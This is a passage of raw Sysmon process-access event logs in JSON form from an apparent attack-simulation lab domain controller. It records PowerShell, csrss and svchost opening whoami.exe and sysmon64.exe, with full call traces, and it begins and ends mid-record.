C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4d04f57b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0d39|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f08d5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010D8BE0800}","TargetProcessId":"4212","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4d04f57b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0d39|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f08d5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010D8BE0800}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010D8BE0800}","TargetProcessId":"4212","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 